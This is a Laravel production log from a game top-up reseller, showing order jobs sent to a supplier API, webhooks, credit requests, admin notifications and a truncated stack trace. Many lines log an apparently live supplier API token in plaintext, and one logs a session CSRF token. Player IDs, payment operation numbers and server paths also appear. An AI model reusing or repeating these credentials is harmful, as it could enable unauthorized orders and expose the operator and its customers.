[2026-03-24 15:45:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:45:08] production.INFO: SendAcceptReject: Notification queued {"user_id":1740,"notification_type":"order_approved","reference_id":178859} 
[2026-03-24 15:45:08] production.INFO: Order updated successfully. Order ID: 178859, Status: completed  
[2026-03-24 15:45:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wFxKj-1774356299","status":"completed","codes_count":0} 
[2026-03-24 15:45:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1740  
[2026-03-24 15:45:29] production.INFO: Constructing job for order: 178860  
[2026-03-24 15:45:30] production.INFO: Handling job for order: 178860  
[2026-03-24 15:45:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:45:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:45:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c5be9ab9-dc3a-4b67-93a4-61b08ff17e00&Player_ID=52030901106  
[2026-03-24 15:45:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c5be9ab9-dc3a-4b67-93a4-61b08ff17e00&Player_ID=52030901106","has_body":false} 
[2026-03-24 15:45:31] production.INFO: Operation sent successfully {"operation_id":163774,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5RW8kY-1774356331","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:45:31"}},"processed_data":{"order_number":"ORD-5RW8kY-1774356331","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:46:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04"} 
[2026-03-24 15:46:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","total_operations":1,"sites_count":1} 
[2026-03-24 15:46:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-5RW8kY-1774356331"]} 
[2026-03-24 15:46:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 15:46:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:46:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 15:46:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:46:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"count":1} 
[2026-03-24 15:46:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"count":1} 
[2026-03-24 15:46:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"user_id":765,"notification_type":"order_approved","reference_id":178860} 
[2026-03-24 15:46:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:46:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:46:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"processed":1,"errors":0} 
[2026-03-24 15:46:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774,"processed":1,"errors":0} 
[2026-03-24 15:46:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"a0JIiMccFwOs4rsjy5XB1haxRICjFNZj","execution_time":"2026-03-24 15:46:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5RW8kY-1774356331","operation_id":163774} 
[2026-03-24 15:46:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 765  
[2026-03-24 15:46:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5RW8kY-1774356331","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:46:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-5RW8kY-1774356331","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:46:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:46:05] production.ERROR: Order not found or already processed. External ID: ORD-5RW8kY-1774356331  
[2026-03-24 15:46:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5RW8kY-1774356331","status":"completed","codes_count":0} 
[2026-03-24 15:46:10] production.INFO: Constructing job for order: 178861  
[2026-03-24 15:46:13] production.INFO: Handling job for order: 178861  
[2026-03-24 15:46:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:46:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:46:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7c1ad623-2c98-40f6-b9b8-7230643d9272&Player_ID=5507947538  
[2026-03-24 15:46:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7c1ad623-2c98-40f6-b9b8-7230643d9272&Player_ID=5507947538","has_body":false} 
[2026-03-24 15:46:14] production.INFO: Operation sent successfully {"operation_id":163775,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZSTFe-1774356374","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:46:14"}},"processed_data":{"order_number":"ORD-ZSTFe-1774356374","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:46:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ZSTFe-1774356374","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:46:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-ZSTFe-1774356374","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:46:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:46:23] production.INFO: SendAcceptReject: Notification queued {"user_id":1740,"notification_type":"order_approved","reference_id":178861} 
[2026-03-24 15:46:23] production.INFO: Order updated successfully. Order ID: 178861, Status: completed  
[2026-03-24 15:46:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ZSTFe-1774356374","status":"completed","codes_count":0} 
[2026-03-24 15:46:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1740  
[2026-03-24 15:47:21] production.INFO: Constructing job for order: 178862  
[2026-03-24 15:47:23] production.INFO: Handling job for order: 178862  
[2026-03-24 15:47:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:47:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:47:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9fcbec20-1e18-4cdf-b477-b866c788f4df&Player_ID=52385551177  
[2026-03-24 15:47:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9fcbec20-1e18-4cdf-b477-b866c788f4df&Player_ID=52385551177","has_body":false} 
[2026-03-24 15:47:24] production.INFO: Operation sent successfully {"operation_id":163776,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6uqLoJuA-1774356444","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:47:24"}},"processed_data":{"order_number":"ORD-6uqLoJuA-1774356444","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:47:26] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":178852} 
[2026-03-24 15:47:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 15:47:32] production.INFO: Constructing job for order: 178863  
[2026-03-24 15:47:33] production.INFO: Handling job for order: 178863  
[2026-03-24 15:47:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:47:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:47:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=35134a45-f77c-4e00-aabc-060278b4d4bc&Player_ID=52379508969  
[2026-03-24 15:47:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=35134a45-f77c-4e00-aabc-060278b4d4bc&Player_ID=52379508969","has_body":false} 
[2026-03-24 15:47:34] production.INFO: Operation sent successfully {"operation_id":163777,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iqdW3P-1774356454","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:47:34"}},"processed_data":{"order_number":"ORD-iqdW3P-1774356454","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:47:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-6uqLoJuA-1774356444","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:47:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-6uqLoJuA-1774356444","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:47:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:47:35] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":178862} 
[2026-03-24 15:47:35] production.INFO: Order updated successfully. Order ID: 178862, Status: completed  
[2026-03-24 15:47:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-6uqLoJuA-1774356444","status":"completed","codes_count":0} 
[2026-03-24 15:47:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 15:47:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iqdW3P-1774356454","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:47:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-iqdW3P-1774356454","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:47:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:47:44] production.INFO: SendAcceptReject: Notification queued {"user_id":765,"notification_type":"order_approved","reference_id":178863} 
[2026-03-24 15:47:44] production.INFO: Order updated successfully. Order ID: 178863, Status: completed  
[2026-03-24 15:47:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iqdW3P-1774356454","status":"completed","codes_count":0} 
[2026-03-24 15:47:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 765  
[2026-03-24 15:47:48] production.INFO: Creating credit request {"payload":{"_token":"vmDg8asgwqoTJKFGhpV6eoalUYCyQQ3WJaEaYjWr","amount":"10000","method_id":"13","mainamount":"10000","operation_number":"158363647","note":"شام كاش","notif":{"Illuminate\\Http\\UploadedFile":"/tmp/php3ph4fktpr0mv4QtNblq"}},"user_id":1597} 
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:47:49] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:47:49] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18640,"user_id":1597,"amount":10000.0,"admins_notified":7} 
[2026-03-24 15:48:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rLO9PgIgGtH3yOBbhboqBxqeS5K7m67F","execution_time":"2026-03-24 15:48:04"} 
[2026-03-24 15:48:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"rLO9PgIgGtH3yOBbhboqBxqeS5K7m67F","execution_time":"2026-03-24 15:48:04"} 
[2026-03-24 15:48:16] production.INFO: Constructing job for order: 178864  
[2026-03-24 15:48:19] production.INFO: Handling job for order: 178864  
[2026-03-24 15:48:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:48:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:48:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fd94448b-4da9-4614-8249-03354576656c&Player_ID=52295321242  
[2026-03-24 15:48:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fd94448b-4da9-4614-8249-03354576656c&Player_ID=52295321242","has_body":false} 
[2026-03-24 15:48:20] production.INFO: Operation sent successfully {"operation_id":163778,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lGpRf0V-1774356499","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:48:20"}},"processed_data":{"order_number":"ORD-lGpRf0V-1774356499","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:48:31] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5000.0","mainamount":"5000","operation_number":"158364021","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpb76bmrplhphg54V1Xep"}},"user_id":600} 
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:48:32] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:48:32] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18641,"user_id":600,"amount":5000.0,"admins_notified":7} 
[2026-03-24 15:48:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lGpRf0V-1774356499","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:48:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-lGpRf0V-1774356499","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:48:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:48:32] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":178864} 
[2026-03-24 15:48:32] production.INFO: Order updated successfully. Order ID: 178864, Status: completed  
[2026-03-24 15:48:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lGpRf0V-1774356499","status":"completed","codes_count":0} 
[2026-03-24 15:48:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 15:50:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fgqd5yecTdqh2zadUcAOwRgeUFqlzFnp","execution_time":"2026-03-24 15:50:02"} 
[2026-03-24 15:50:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"fgqd5yecTdqh2zadUcAOwRgeUFqlzFnp","execution_time":"2026-03-24 15:50:02"} 
[2026-03-24 15:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 15:50:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 15:50:04] production.INFO: async() رجع: true  
[2026-03-24 15:50:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:50:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:50:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:50:29] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"10080.0","mainamount":"10080","operation_number":"158367081","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpvktrmibuqcjj1kzj8v7"}},"user_id":93} 
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:50:30] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:50:30] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18642,"user_id":93,"amount":10080.0,"admins_notified":7} 
[2026-03-24 15:50:38] production.INFO: Constructing job for order: 178866  
[2026-03-24 15:50:39] production.INFO: Handling job for order: 178866  
[2026-03-24 15:50:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:50:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:50:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=460000&uuid=84d794c0-7cbf-4e33-a7c0-2370eb321e3f&Player_ID=11907405  
[2026-03-24 15:50:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=460000&uuid=84d794c0-7cbf-4e33-a7c0-2370eb321e3f&Player_ID=11907405","has_body":false} 
[2026-03-24 15:50:39] production.INFO: Operation sent successfully {"operation_id":163779,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-b13-1774356639","amount":45.00925199999999648525772499851882457733154296875,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 15:50:39"}},"processed_data":{"order_number":"ORD-b13-1774356639","amount":45.00925199999999648525772499851882457733154296875,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 15:50:43] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"1500.0","mainamount":"1500","operation_number":"600430887874","note":"600430887874","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php21ap1pq5qkjf90vVgnb"}},"user_id":663} 
[2026-03-24 15:50:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:50:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:50:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:50:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:50:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:50:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:50:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:50:46] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:50:46] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18643,"user_id":663,"amount":1500.0,"admins_notified":7} 
[2026-03-24 15:51:33] production.INFO: SendAcceptReject: Notification queued {"user_id":1597,"notification_type":"request_approved","reference_id":18640} 
[2026-03-24 15:51:46] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"request_approved","reference_id":18641} 
[2026-03-24 15:51:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 15:51:52] production.INFO: Constructing job for order: 178867  
[2026-03-24 15:51:55] production.INFO: Handling job for order: 178867  
[2026-03-24 15:51:55] production.ERROR: API failed for order 178867 {"order_id":178867,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(178867, 30, 1, 'c5761035-ae18-4...', '[{\"key\":\"player...', 9, 1461)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(178867)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
